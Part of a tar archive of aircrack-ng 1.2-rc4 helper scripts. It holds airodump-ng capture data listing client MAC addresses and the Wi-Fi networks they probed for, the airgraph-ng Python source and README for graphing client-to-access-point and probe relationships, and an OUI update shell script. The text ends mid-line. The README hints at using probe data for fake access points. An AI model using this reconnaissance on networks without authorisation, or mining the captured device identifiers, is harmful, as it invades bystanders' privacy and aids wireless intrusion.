1, (not associated) , Staff_WiFi 00:0A:B7:BB:44:FE, 2008-11-03 16:50:26, 2008-11-03 16:50:29, 30, 4, 72:03:92:02:08:02, 00:02:2D:B2:F2:85, 2008-11-03 10:18:48, 2008-11-03 15:35:03, -1, 3, 00:13:10:E3:26:2F, 00:1C:B3:BF:7D:22, 2008-11-03 14:45:39, 2008-11-03 14:45:42, 26, 3, (not associated) , 00:1F:3A:02:9E:59, 2008-11-03 14:26:38, 2008-11-03 14:26:38, 20, 1, (not associated) , 00:0C:F1:55:DA:BD, 2008-11-03 13:20:15, 2008-11-05 01:43:55, 16, 52, 00:13:10:73:8F:DE, RBGcolors 00:23:12:83:80:B3, 2008-11-03 13:26:27, 2008-11-03 13:30:19, 18, 2, (not associated) , 00:12:F0:36:9A:8D, 2008-11-03 12:26:53, 2008-11-03 12:27:03, 16, 15, 00:16:B6:E3:C3:7F, lighthouse,linksys 00:1B:63:C6:8A:08, 2008-11-03 11:45:08, 2008-11-03 11:45:08, 18, 2, (not associated) , HOMENET3 00:17:AB:5C:DE:3A, 2008-11-02 22:40:40, 2008-11-03 06:20:26, 21, 3903, 00:17:3F:3A:F0:7E, Finack 00:1A:73:55:5E:34, 2008-11-03 04:33:48, 2008-11-03 04:33:48, 10, 1, (not associated) , 00:1D:60:D3:49:E5, 2008-11-02 22:51:31, 2008-11-03 04:03:04, 13, 11, 00:0F:66:2C:A6:5B, 00:06:25:AC:DD:A5, 2008-11-03 03:22:33, 2008-11-03 03:22:33, -1, 1, 00:1C:F0:6B:90:66, 00:19:D2:00:B2:BB, 2008-11-03 00:24:16, 2008-11-03 02:49:16, 35, 3095, 00:13:10:E3:BF:C5, home-net 00:21:E9:91:17:62, 2008-11-03 02:08:20, 2008-11-03 02:08:20, 18, 2, (not associated) , 00:1F:F3:9D:CF:50, 2008-11-03 01:56:29, 2008-11-03 01:56:34, 15, 135, 00:1A:70:F5:FE:9E, 00:19:E3:07:8D:72, 2008-11-02 22:49:03, 2008-11-03 01:31:01, 41, 638, 00:13:10:C6:5D:A4, Morf-Ra 00:21:E9:09:01:7D, 2008-11-03 00:14:07, 2008-11-03 00:14:37, 18, 6, 00:16:B6:E3:C3:7F, linksys 00:1A:73:FE:8B:05, 2008-11-02 23:57:08, 2008-11-02 23:57:08, 13, 1, (not associated) , 00:18:41:AF:8C:26, 2008-11-02 23:45:46, 2008-11-02 23:45:47, 36, 5, (not associated) , HOMENET3 00:23:12:DA:AC:A2, 2008-11-02 23:26:36, 2008-11-02 23:26:36, 18, 1, (not associated) , 00:16:E3:8F:01:EB, 2008-11-02 22:49:12, 2008-11-02 22:49:16, 20, 3, (not associated) , plusnet,shoestring farm 00:1B:77:B0:94:CF, 2008-11-02 22:49:28, 2008-11-02 22:49:28, 13, 1, (not associated) , Martin_Wireless 00:1E:C2:DD:61:80, 2008-11-03 00:08:39, 2008-11-03 00:08:40, 18, 2, (not associated) , 00:1B:77:A9:34:BA, 2008-11-03 01:33:32, 2008-11-03 01:33:32, 15, 2, (not associated) , Ding735Dong 00:11:24:97:97:8A, 2008-11-02 23:16:28, 2008-11-03 01:42:46, -1, 4, 00:1E:52:7A:C4:F8, 00:18:DE:9F:5D:FD, 2008-11-02 23:47:42, 2008-11-03 01:49:21, 18, 8, (not associated) , Boone,AVFRD 00:90:4B:CC:0F:C4, 2008-11-03 01:32:53, 2008-11-03 01:52:49, 16, 10, (not associated) , linksys 00:1E:C2:DF:B1:FD, 2008-11-03 03:21:38, 2008-11-03 03:21:38, -1, 1, 00:16:B6:E3:C3:7F, 00:23:12:6C:3A:74, 2008-11-03 03:20:38, 2008-11-03 03:36:04, 18, 3, 00:0F:66:2C:A6:5B, 00:12:F0:3A:41:3F, 2008-11-03 04:18:09, 2008-11-03 04:18:09, 13, 1, (not associated) , 00:1D:4F:EA:DF:03, 2008-11-03 06:14:39, 2008-11-03 06:14:39, -1, 6, 00:16:B6:E3:C3:7F, 00:17:A4:7A:52:8A, 2008-11-03 01:26:35, 2008-11-03 08:52:09, 10, 9, 00:09:5B:D8:B7:D0, Nedgear 00:18:DE:C9:B6:FB, 2008-11-03 11:07:24, 2008-11-03 11:07:24, 23, 2, (not associated) , Staff_WiFi 00:13:CE:ED:E8:99, 2008-11-03 11:17:23, 2008-11-03 11:17:23, 13, 1, (not associated) , 00:04:23:79:DF:33, 2008-11-03 13:07:32, 2008-11-03 13:07:32, 13, 2, (not associated) , Boingo Hotspot 00:A0:F8:C4:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 13, 2, 02:D5:01:C8:28:D7, 00:21:E9:93:6F:B6, 2008-11-03 13:46:11, 2008-11-03 13:46:11, 13, 1, (not associated) , 00:23:12:DA:BD:5E, 2008-11-03 13:49:56, 2008-11-03 13:50:40, 13, 149, 00:16:B6:E3:C3:7F, 00:0E:35:A0:29:75, 2008-11-03 14:03:20, 2008-11-03 14:03:20, 16, 1, (not associated) , 00:30:65:25:74:0E, 2008-11-03 01:42:00, 2008-11-03 14:36:53, 26, 3706, 00:1E:52:7A:C4:F8, 75734b31-3f4d09cd-639675b8-9787,Base Station 00:23:12:8D:2A:FF, 2008-11-03 16:26:16, 2008-11-03 16:26:16, 23, 2, (not associated) , 00:21:E9:4F:87:25, 2008-11-03 16:28:42, 2008-11-03 16:28:42, 16, 1, (not associated) , 00:18:DE:C9:89:FF, 2008-11-02 23:59:36, 2008-11-03 16:33:32, 15, 24, 00:0F:66:2D:A8:21, printz 00:0B:46:F3:41:F3, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 12, 8, 72:03:92:02:08:02, 00:15:70:8D:27:2E, 2008-11-03 15:49:54, 2008-11-03 16:51:20, 24, 5355, (not associated) , 101 00:11:D9:15:80:25, 2008-11-03 18:02:48, 2008-11-03 18:02:48, -1, 1, 00:1D:7E:16:17:F4, 00:0B:46:56:26:5A, 2008-11-03 20:22:05, 2008-11-03 20:22:12, 18, 4, 12:02:DC:02:10:00, 00:08:21:31:77:92, 2008-11-03 20:22:03, 2008-11-03 20:22:11, 23, 7, 12:02:DC:02:10:00, 00:1D:4F:BA:DD:C9, 2008-11-03 21:22:52, 2008-11-03 21:22:52, -1, 1, 00:16:B6:E3:C3:7F, 00:16:CE:19:80:D8, 2008-11-03 22:30:14, 2008-11-03 22:30:14, 20, 1, (not associated) , User 00:1F:3B:00:67:51, 2008-11-03 16:37:39, 2008-11-03 23:05:19, 26, 548, (not associated) , 101,tetrahedron,KSZ05 00:1E:52:A1:5B:C7, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 21, 77, 02:00:BD:65:24:DD, 00:11:D9:19:A6:11, 2008-11-02 22:42:00, 2008-11-04 00:29:36, 32, 4109, 00:1D:7E:47:F6:B2, Gizmo 00:1D:4F:18:0B:43, 2008-11-03 00:28:58, 2008-11-04 01:00:09, 18, 2665, 00:13:10:E3:26:2F, Oasis 00:1B:77:64:63:5A, 2008-11-04 02:02:55, 2008-11-04 02:02:55, 24, 2, (not associated) , Staff_WiFi 00:23:12:84:5A:4E, 2008-11-02 22:41:33, 2008-11-04 02:17:25, 18, 11, (not associated) , 00:19:7E:CC:1B:3D, 2008-11-02 22:51:00, 2008-11-04 02:24:11, 13, 35, (not associated) , mcgrath 00:1D:4F:BE:74:F5, 2008-11-04 02:46:52, 2008-11-04 03:57:22, 15, 16, 00:16:B6:E3:C3:7F, 00:13:46:0D:28:9D, 2008-11-02 22:42:32, 2008-11-04 04:02:02, 26, 194, 00:18:39:3E:C5:5D, 00:1E:E5:27:3F:32, 2008-11-03 00:14:37, 2008-11-04 04:32:42, -1, 15, 00:16:B6:E3:C3:7F, 00:18:DE:C9:AD:56, 2008-11-04 07:05:36, 2008-11-04 07:05:36, 23, 1, (not associated) , Staff_WiFi 00:13:E8:F1:F0:33, 2008-11-03 02:28:00, 2008-11-04 08:02:39, 20, 179, 00:17:3F:3A:F0:7E, Finack 00:18:DE:C9:99:62, 2008-11-04 05:44:10, 2008-11-04 08:04:47, 16, 3, (not associated) , 00:1D:4F:3E:6B:2B, 2008-11-03 00:03:41, 2008-11-04 10:21:31, -1, 44, 00:09:5B:ED:2A:30, 00:23:6C:32:ED:B9, 2008-11-03 02:00:27, 2008-11-04 10:38:45, 29, 11, 00:13:10:A9:FA:DA, 00:13:CE:89:0C:39, 2008-11-04 13:13:35, 2008-11-04 13:13:35, 32, 4, (not associated) , 46yhF3DSnkXC2wI3ofFyhDkleN3oR8Zh 00:1B:63:00:60:C4, 2008-11-03 12:51:31, 2008-11-04 13:53:27, 29, 39, 00:17:3F:3A:F0:7E, Finack 00:1F:5B:55:EE:07, 2008-11-04 14:06:57, 2008-11-04 14:06:57, -1, 1, 00:16:B6:E3:C3:7F, 00:21:E9:0B:F8:AD, 2008-11-04 14:07:26, 2008-11-04 14:07:27, 18, 2, 00:16:B6:E3:C3:7F, 00:21:E9:3D:EB:45, 2008-11-03 06:51:04, 2008-11-04 14:11:19, 23, 1728, 00:17:3F:3A:F0:7E, Finack,linksys 00:1C:F0:93:D4:D6, 2008-11-03 07:36:28, 2008-11-04 15:14:00, 13, 8, (not associated) , Martin_Wireless 00:1B:77:9A:62:1A, 2008-11-02 22:41:42, 2008-11-04 15:19:36, 18, 1528, 00:1D:7E:EF:4E:6F, Molly,Global,AbortSsid 00:21:E9:95:84:C0, 2008-11-03 04:32:01, 2008-11-04 16:02:50, 15, 27, 00:16:B6:E3:C3:7F, linksys 00:23:12:9F:54:87, 2008-11-04 17:10:01, 2008-11-04 17:10:10, 29, 11, 00:16:B6:E3:C3:7F, 00:18:DE:C9:9B:7A, 2008-11-03 17:16:16, 2008-11-04 17:16:12, 30, 10, 00:16:B6:E3:C3:7F, linksys,andy lee 00:13:02:5B:44:D2, 2008-11-02 22:41:26, 2008-11-04 17:36:52, 15, 192, 00:09:5B:D8:B7:D0, Nedgear, 00:23:12:C2:43:0F, 2008-11-04 17:45:33, 2008-11-04 17:45:33, 18, 1, 00:16:B6:E3:C3:7F, 00:0E:35:FB:10:A0, 2008-11-02 22:42:37, 2008-11-04 18:24:58, 24, 696, 00:09:5B:D8:B7:D0, Nedgear 00:D0:59:C8:AC:D4, 2008-11-04 18:34:33, 2008-11-04 18:34:41, 18, 4, (not associated) , 00:0C:F1:5C:BC:48, 2008-11-03 08:28:45, 2008-11-04 20:04:42, -1, 4, 00:13:10:E3:26:2F, 00:22:41:0A:97:B0, 2008-11-04 20:22:47, 2008-11-04 20:22:47, -1, 4, 00:16:B6:E3:C3:7F, 00:13:CE:53:58:5B, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 13, 2, 02:13:CE:00:AD:8D, 00:09:7C:22:6A:EE, 2008-11-04 20:44:55, 2008-11-04 20:44:57, 26, 2, 9E:00:D4:01:DD:02, 00:1B:24:53:3D:A8, 2008-11-04 12:52:31, 2008-11-04 21:17:37, 20, 16, 00:12:17:3A:B9:78, 00:22:41:A0:F6:33, 2008-11-03 23:10:38, 2008-11-04 21:36:43, 23, 344, 00:1E:E5:73:44:DC, njeans 00:16:6F:77:03:61, 2008-11-04 21:41:26, 2008-11-04 21:41:26, 16, 1, (not associated) , linksys_SES_41527 00:11:F5:48:D1:3F, 2008-11-04 21:51:24, 2008-11-04 21:51:24, 21, 4, (not associated) , Wayport_Access,NETGEAR 00:0D:9D:12:BE:A0, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 18, 207, CE:B4:1E:CC:3B:7C, 00:21:E9:06:E7:0C, 2008-11-04 22:12:41, 2008-11-04 22:12:41, 20, 4, 00:16:B6:E3:C3:7F, 00:23:12:A1:E2:75, 2008-11-04 22:42:54, 2008-11-04 22:42:54, 16, 1, (not associated) , 00:1E:8C:3B:D3:40, 2008-11-03 14:36:37, 2008-11-04 22:44:57, -1, 71, 00:14:BF:A3:09:8B, 00:1C:B3:B4:8B:71, 2008-11-03 21:32:11, 2008-11-04 22:47:25, 32, 414, 00:1E:E5:73:44:DC, njeans 00:1D:D9:35:B9:9C, 2008-11-04 22:48:09, 2008-11-04 22:48:09, 10, 1, (not associated) , goskins 00:1C:B3:34:BC:5B, 2008-11-03 22:22:39, 2008-11-04 23:06:45, 18, 18, 00:13:10:88:84:5B, Martin_Wireless 00:11:F5:39:8C:EB, 2008-11-04 11:17:31, 2008-11-04 23:48:42, 16, 266, 00:1E:E5:46:F4:4F, tucker1 00:0E:35:FF:51:EB, 2008-11-04 23:54:10, 2008-11-04 23:54:10, 16, 1, (not associated) , A81U4 00:1D:E0:36:5D:51, 2008-11-03 01:12:09, 2008-11-04 23:56:04, 49, 3591, 00:18:39:3E:C5:5D, Intel 802.11 Default SSID,Fundip 00:1E:4C:B2:F8:DD, 2008-11-03 09:50:40, 2008-11-05 00:08:04, 10, 266, 00:0C:41:BC:B8:D9, Mikeys wireless 00:23:6C:4E:BB:A3, 2008-11-02 22:51:29, 2008-11-05 00:25:33, 29, 265, (not associated) , 00:1E:52:73:57:2C, 2008-11-02 23:42:08, 2008-11-05 00:29:35, 38, 160, 00:13:10:E3:BF:C5, home-net 00:17:FA:69:DE:8A, 2008-11-03 01:32:04, 2008-11-05 00:54:53, 9, 82, 00:09:5B:6A:C6:30, 00:18:DE:9F:91:63, 2008-11-03 22:40:25, 2008-11-05 00:59:25, 24, 9, (not associated) , Staff_WiFi 00:16:CF:A8:BE:07, 2008-11-03 23:17:20, 2008-11-05 01:10:45, 10, 11, (not associated) , XtYr3 00:0F:B5:3F:6B:8F, 2008-11-02 23:47:07, 2008-11-05 01:15:29, 21, 1330, 00:0F:66:6A:3A:C0, godfather 00:0F:66:84:95:DA, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 18, 335, 00:1E:E5:46:F4:4F, tucker1 00:13:CE:3A:FC:13, 2008-11-03 00:16:11, 2008-11-05 01:25:23, 18, 55, 00:0C:41:49:67:9F, Morf-Ra,Shapfam,home-net,wireless 00:11:D9:01:D4:39, 2008-11-03 01:04:07, 2008-11-05 01:26:58, 23, 1384, 00:12:17:3A:B9:78, HOMENET 00:16:CB:BB:AC:1A, 2008-11-02 23:04:52, 2008-11-05 01:43:49, 23, 23, 00:13:10:A9:FA:DA, HM 00:90:4B:96:AE:08, 2008-11-02 22:42:17, 2008-11-05 01:32:02, 18, 222, 00:13:10:C9:DC:C0, jita 00:12:0E:6F:B3:93, 2008-11-03 11:46:59, 2008-11-05 01:35:59, -1, 1407, 00:0C:41:BC:B8:D9, 00:21:E9:5C:86:67, 2008-11-05 01:38:09, 2008-11-05 01:38:09, 21, 1, (not associated) , 00:19:D2:D1:62:46, 2008-11-02 23:25:58, 2008-11-05 01:39:19, 10, 562, (not associated) , 00:1A:E9:83:3D:2B, 2008-11-02 23:12:18, 2008-11-05 01:39:31, 15, 405, 00:12:17:3A:B9:78, HOMENET 00:1F:5B:85:DC:A2, 2008-11-02 23:34:36, 2008-11-05 01:39:29, 21, 508, 00:13:10:A9:FA:DA, HM 00:11:24:A5:61:F3, 2008-11-02 22:40:43, 2008-11-05 01:41:22, 20, 3513, 00:0F:66:6A:3A:C0, godfather 00:1D:0D:56:12:1E, 2008-11-02 23:57:53, 2008-11-05 01:43:03, 13, 5625, 00:17:3F:3A:F0:7E, Finack 00:1A:73:99:3C:6C, 2008-11-02 22:41:30, 2008-11-05 01:42:51, 15, 2138, 00:13:46:08:87:0E, kelvin-d,kevinh 00:19:D2:D3:A8:30, 2008-11-02 22:58:12, 2008-11-05 01:42:52, 15, 140, 00:16:B6:E3:C3:7F, linksys 00:18:F3:E3:15:49, 2008-11-03 23:07:34, 2008-11-05 01:43:31, 16, 946, 00:1C:DF:39:B4:13, Legal EZ 00:0E:35:CA:EB:7A, 2008-11-02 22:45:33, 2008-11-05 01:43:07, 16, 582, 00:09:5B:6A:C6:30, fischel ,101 00:19:7D:05:F7:3A, 2008-11-02 22:41:21, 2008-11-05 01:42:41, 16, 6351, 00:1D:7E:47:F6:B2, Gizmo,kwifi 00:13:CE:25:79:53, 2008-11-02 22:46:44, 2008-11-05 01:42:44, 16, 1528, 00:15:E9:16:01:30, Nicole's mommy,Gizmo 00:22:68:B3:9C:21, 2008-11-02 22:41:16, 2008-11-05 01:43:43, 20, 3169, (not associated) , 00:12:F0:EA:B3:E0, 2008-11-03 02:54:39, 2008-11-05 01:43:57, 16, 4036, 00:1A:70:D1:E9:D6, YaAli 00:0F:B5:BE:A7:DF, 2008-11-02 22:42:47, 2008-11-05 01:43:41, 20, 3573, 00:12:17:3A:B9:78, HOMENET 00:0E:35:75:5B:E6, 2008-11-03 13:57:12, 2008-11-05 01:42:51, 20, 786, 00:17:9A:48:1B:17, Fenerbahce 00:19:D2:3A:2F:31, 2008-11-03 00:47:43, 2008-11-05 01:43:13, 21, 4931, 00:13:10:E3:26:2F, Oasis,linksys 00:1B:77:66:74:E6, 2008-11-03 00:39:01, 2008-11-05 01:43:13, 27, 2285, 00:1D:7E:EF:4E:6F, gwireless,Molly 00:16:44:CE:71:2D, 2008-11-02 22:39:42, 2008-11-05 01:43:31, 27, 2663, 00:0F:66:6A:3A:C0, godfather 00:18:DE:96:36:C8, 2008-11-03 03:16:58, 2008-11-05 01:43:21, 32, 55823, 00:18:F8:1A:DA:A5, Intel 802.11 Default SSID,Saloka,TehTubez 00:1F:3B:5C:D4:79, 2008-11-02 22:39:17, 2008-11-05 01:42:59, 40, 1996, 00:18:F8:1A:DA:A5, Saloka aircrack-ng-1.2-rc4/scripts/airgraph-ng/setup.py0000644000000000000000000000101611717022373020322 0ustar rootroot#!/usr/bin/env python # This file is Copyright David Francos Cuartero, licensed under the GPL2 license. from distutils.core import setup import os setup(name='airgraph-ng', version='1.1', description='Aircrack-ng network grapher', author='TheX1le', console = [{"script": "airgraph-ng" }], url='http://aircrack-ng.org', license='GPL2', classifiers=[ 'Development Status :: 4 - Beta', ], packages=['graphviz'], scripts=['dump-join', 'airgraph-ng'], ) aircrack-ng-1.2-rc4/scripts/airgraph-ng/airgraph-ng0000644000000000000000000002170012552732725020743 0ustar rootroot#!/usr/bin/env python #python 3.0 support from __future__ import print_function __author__ = 'Ben "TheX1le" Smith' __email__ = 'thex1le _A_T_ remote-exploit.org' __website__= 'remote-exploit.org' __date__ = '05/18/2011' __version__= '2.0.1' __file__ = 'airgraph-ng' __data__ = 'This is the main airgraph-ng file' import subprocess import sys, optparse, os import pdb try: from graphviz import * except ImportError, error: raise Exception("Your airgraph-ng installation is broken, could not import libraries: %s" %(error)) path = libOuiParse.path class interface: """ provide basic UI to user """ def header(self): """ Print a pretty header out """ print('#'*42+"\n#"+" "*9+"Welcome to Airgraph-ng"+" "*9+"#\n"+"#"*42+"\n") class dotCreate: """ Class for creating graphviz .dot config files """ def __init__(self, file_): ret = libDumpParse.airDumpParse().parser(file_) self.capr = ret['capr'] self.Ap = ret['apDict'] self.client = ret['clientDict'] self.NA = ret['NA'] self.NAP = ret['NAP'] #144x144 hard code image size to 12feet x 12feet #start graphviz config file self.dotFile = ['digraph G{\n\tsize ="144,144";\n\toverlap=false;\n'] self.ouiCheck = libOuiParse.macOUI_lookup(path + 'oui.txt') if self.ouiCheck is False: print("Missing the oui.txt file from http://standards.ieee.org/develop/regauth/oui/oui.txt, place it in the support directory") sys.exit(-1) self.ouiCheck.identDeviceDict(path + 'ouiDevice.txt') def CAPR(self): """ Client AP relationship graph Display a graph showing what clients are talking to what AP's """ tclient = 0 #total client number tap = len(self.capr.keys()) #total ap list for bssid in self.capr.keys(): time = [self.Ap[bssid]['lts'],self.Ap[bssid]['fts']] priv = self.Ap[bssid]['privacy'] if priv == '': priv = "Unkown" Color = self.encColor(priv) tclient += len(self.capr[bssid]) for client in self.capr[bssid]: self.dotFile.append(self.linker(bssid,'->',client)) self.dotFile.append(self.clientColor(client,'black',[self.client[client]['lts'],self.client[client]['fts']],None,True)) self.dotFile.append( self.apLabel(bssid,Color,len(self.capr[bssid]),time)) footer ='label="Generated by Airgraph-ng\\n%s Access Points and\\n%s Clients shown";\n}' %(tap,tclient) self.dotFile.append(footer) def CPG(self): """ Common Probe Graph Shows a graph of every client requesting similar probes """ probeCount = 0 clientCount = {} for key in self.client.keys(): sdata = self.client[key] lts = sdata['lts'] fts = sdata['fts'] if sdata["probe"] != ['']: lpc = len(sdata['probe']) clientCount[key] = key probeCount += lpc for probe in sdata['probe']: self.dotFile.append(self.clientColor(probe,'blue')) self.dotFile.append(self.linker(key,'->',probe)) clientColor = '%s\\nRequested %s probes' %(key,lpc) self.dotFile.append(self.clientColor(key,'black',[lts,fts],None,True)) footer = 'label="Generated by Airgraph-ng\\n%s Probes and \\n%s Clients are shown";\n}' % (probeCount,len(clientCount.keys())) self.dotFile.append(footer) def clientColor(self,mac,color,time=None,label=None,DouiCheck=False): """ format the client with a color and a label return graphiz format line """ if label == None: label = mac #device OUI check if DouiCheck == True: lts = time[0] fts = time[1] rtn = '\t"%s" [label="%s\\nOUI: %s\\nDevice Type: %s\\nFirst Time Seen: %s\\nLast Time Seen: %s" color=%s fontsize=9];\n' %(mac,mac,self.APouiLookup(mac),self.clientOuiLookup(mac),fts,lts,color) else: rtn = '\t"%s" [label="%s" color=%s fontsize=9];\n' %(mac,label,color) return rtn def encColor(self,enc): """ Take encryption type and decide what color it should be displayed as returns a list containing AP fill color and Ap label font color """ fontColor = "black" #default font color if enc =="OPN": color = "firebrick2" elif enc == "WEP": color = "gold2" elif enc in ["WPA","WPA2WPA","WPA2","WPAOPN"]: color = "green3" else: #unknown enc type color = "black" fontColor = "white" return (color,fontColor) def linker(self,objA,sep,objB): """ Retrun a graphviz line that links 2 objects togeather Both objects are passed in with a separator returns graphiz format line """ return '\t"%s"%s"%s";\n' %(objA,sep,objB) def dotWrite(self): """ Write all the information obtained to a config file """ dotdata = ''.join(self.dotFile) try: os.remove('airGconfig.dot') except Exception: pass nfile = open('airGconfig.dot','a') nfile.write(dotdata) nfile.close() def clientOuiLookup(self,oui): """ check ouiDevices and attempt to determine the device type """ prefix = oui[:8] if prefix in self.ouiCheck.ouitodevice: device = self.ouiCheck.ouitodevice[prefix] else: device = 'Unknown' return device def APouiLookup(self,oui): """ check the oui.txt file and determine the manufacture for an AP or client """ prefix = oui[:8] company = self.ouiCheck.lookup_OUI(prefix) if company == False: company = 'Unknown' return company def apLabel(self,bssid,color,cnum,time): """ Create label strings for AP's """ lts = time[0] fts = time[1] AP = self.Ap[bssid] return'\t"%s" [label="%s\\nEssid: %s\\nChannel: %s\\nEncryption: %s\\nOUI: %s\\nFirst Time Seen: %s\\n Last Time Seen: %s\\nNumber of Clients: %s" style=filled fillcolor="%s" fontcolor="%s" fontsize=9];\n' %(bssid,bssid,AP['essid'].rstrip('\x00'),AP['channel'],AP['privacy'],self.APouiLookup(bssid),fts,lts,cnum,color[0],color[1]) def graphCreate(self,fname,outname): """ Write out the graphviz dotFile and creat the graph """ print("\n**** WARNING Images can be large, up to 12 Feet by 12 Feet****") print("Creating your Graph using, %s and writing to, %s" %(fname,outname)) print("Depending on your system this can take a bit. Please standby......") try: subprocess.Popen(["fdp","-Tpng","airGconfig.dot","-o",outname,"-Gcharset=latin1"]).wait() except Exception: os.remove("airGconfig.dot") print("You seem to be missing the Graphviz toolset. Did you check out the airgraph-ng Deps in the readme?") sys.exit(1) os.remove("airGconfig.dot") #comment this line out for dotfile debugging if __name__ == "__main__": """ Main function. Parses command line input for proper switches and arguments. Error checking is done in here. Variables are defined and all calls are made from MAIN. """ parser = optparse.OptionParser("usage: %prog options [-o -i -g ] ") # parser.add_option("-o", "--output", dest="output", nargs=1, help="Our Output Image ie... Image.png") parser.add_option("-i", "--dump", dest="input", nargs=1 ,help="Airodump txt file in CSV format. NOT the pcap") parser.add_option("-g", "--graph", dest="graph_type", nargs=1, help="Graph Type Current [CAPR (Client to AP Relationship) OR CPG (Common probe graph)]") if len(sys.argv) <= 1: interface().header() parser.print_help() sys.exit(0) (options, args) = parser.parse_args() outFile = options.output graphType = options.graph_type inFile = options.input if inFile == None: print("Error No Input File Specified") sys.exit(1) if outFile == None: outFile = options.input.replace('.txt', '.png') if graphType == None: print("Error No Graph Type Defined") sys.exit(1) if graphType.upper() not in ['CAPR','CPG','ZKS']: print("Error Invalid Graph Type\nVaild types are CAPR or CPG") sys.exit(1) dot = dotCreate(inFile) if graphType.upper() == 'CPG': dot.CPG() dot.dotWrite() dot.graphCreate(inFile,outFile) elif graphType.upper() == 'CAPR': dot.CAPR() dot.dotWrite() dot.graphCreate(inFile,outFile) aircrack-ng-1.2-rc4/scripts/airgraph-ng/Makefile0000644000000000000000000000104012577363272020260 0ustar rootrootAC_ROOT = ../.. DOCFILES = README include $(AC_ROOT)/common.mak default: all all: @echo "Nothing to do. Run make install" install: doc python setup.py install --prefix="$(prefix)" --record files.txt doc: $(MAKE) -C man install install -d $(prefix)$(docdir) install -d $(prefix)/share/airgraph-ng install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) uninstall: clean $(MAKE) -C man $(@) cat files.txt | xargs rm -rf rm -f files.txt clean: python setup.py clean rm -rf build distclean: clean aircrack-ng-1.2-rc4/scripts/airgraph-ng/README0000644000000000000000000000320111722541525017467 0ustar rootrootAirgraph-ng ------------- Airgraph-ng's purpose is to graph the txt file that is created when you run airodump with the -w option The idea is that we are showing the relationships of the clients to the AP's so dont be shocked if you see only one mapping as you may only have captured one client. Instalation ------------- Airgraph-ng depends are as follows: * graphviz with png support * airodump-ng * python > 2.7 !!! Please note due to a lack of PNG support in Graphviz under BackTrack 3 Airgraph-ng is not currently supported here. I am aware of the issue i just havent had time to fix it!!!!!! The program usage is as follows airgraph-ng -i [your txt file] -o [the output file in png format] -g [CAPR|CPG] I am happy to indroduce an option for graph types, there are two current graph types: CAPR or Client to AP Relationship This shows you all the clients attached to a particular AP CPR or Client Prob Graph This showes you all the clients that are sending out probe requests for the same ESSID's ;-) Fake AP any one? Once you have airgraph-ng set up and installed i have included some test data to allow you to quickly see if airgraph-ng is working. This data can be found in the test directory inside the libs directory Airgraph-ng sets graphviz to use the latin character set if this is a problem for you please let me know. I did this to clear up a bug i had with the CPG graphs dumpjoin is a short support script that will allow you to join two airodump CSV files into one. Run the program with no arugments to see the usage This is still a work in progress if you have questions contact TheX1le at thex1le gmail.com aircrack-ng-1.2-rc4/scripts/airodump-ng-oui-update0000644000000000000000000000361412545347375020652 0ustar rootroot#!/bin/sh CURL=`which curl 2>/dev/null` WGET=`which wget 2>/dev/null` OUI_DOWNLOAD_URL="http://standards-oui.ieee.org/oui.txt" OUI_PATH0="/etc/aircrack-ng" OUI_PATH1="/usr/local/etc/aircrack-ng" OUI_PATH2="/usr/share/aircrack-ng" if [ -d "$OUI_PATH0" ]; then OUI_PATH="$OUI_PATH0" elif [ -d "$OUI_PATH1" ]; then OUI_PATH="$OUI_PATH1" elif [ -d "$OUI_PATH2" ]; then OUI_PATH="$OUI_PATH2" else # default OUI_PATH="$OUI_PATH0" fi AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt" OUI_IEEE="${OUI_PATH}/oui.txt" USERID="" # Make sure the user is root if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi if [ ! -d "${OUI_PATH}" ]; then mkdir -p ${OUI_PATH} fi if [ ${CURL} ] || [ ${WGET} ]; then # Delete previous partially downloaded file (if the script was aborted) rm -f ${OUI_IEEE} >/dev/null 2>/dev/null # Download it echo "[*] Downloading IEEE OUI file..." if [ ${WGET} ]; then ${WGET} ${OUI_DOWNLOAD_URL} -O ${OUI_IEEE} >/dev/null 2>/dev/null else ${CURL} -L ${OUI_DOWNLOAD_URL} > ${OUI_IEEE} 2>/dev/null fi if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to download OUI list, aborting..." exit 1 fi # Parse the downloaded OUI list echo "[*] Parsing OUI file..." # Keep the previous file if [ -f "${OUI_DOWNLOADED}" ]; then mv ${AIRODUMP_NG_OUI} ${OUI}-old fi # Parse it grep "(hex)" ${OUI_IEEE} | sed 's/^[ \t]*//g;s/[ \t]*$//g' > ${AIRODUMP_NG_OUI} if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to parse OUI, aborting..." exit 1 fi # Cleanup rm -f ${OUI_IEEE} echo "[*] Airodump-ng OUI file successfully updated" else if [ -f "${OUI}" ]; then echo "[*] Please install curl or wget to update OUI list" else echo "[*] Please install curl or wget to install OUI list" fi exit 1 fi exit 0 aircrack-ng-1.2-rc4/scripts/Makefile0000644000000000000000000000165112434667014016062 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak SCRIPTS = airodump-ng-oui-update SCRIPTS_LNX = airmon-ng default: all all: @echo Nothing to do install: install -m 755 $(SCRIPTS) $(DESTDIR)$(sbindir) ifeq ($(OSNAME), Linux) install -m 755 $(SCRIPTS_LNX) $(DESTDIR)$(sbindir) endif ifeq ($(filter FreeBSD GNU-kFreeBSD, $(OSNAME)),) else install -m 755 airmon-ng.freebsd $(DESTDIR)$(sbindir)/airmon-ng endif ifeq ($(subst TRUE,true,$(filter TRUE true,$(ext_scripts) $(EXT_SCRIPTS))),true) @for i in * ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -C $$i install DESTDIR=$(DESTDIR) ; \ fi ; \ done endif uninstall: -rm -f $(DESTDIR)$(sbindir)/airmon-ng -rm -f $(DESTDIR)$(sbindir)/airdriver-ng -rm -f $(DESTDIR)$(sbindir)/airodump-ng-oui-update $(MAKE) -C airdrop-ng $(@) $(MAKE) -C airgraph-ng $(@) $(MAKE) -C airoscript-ng $(@) $(MAKE) -C versuck-ng 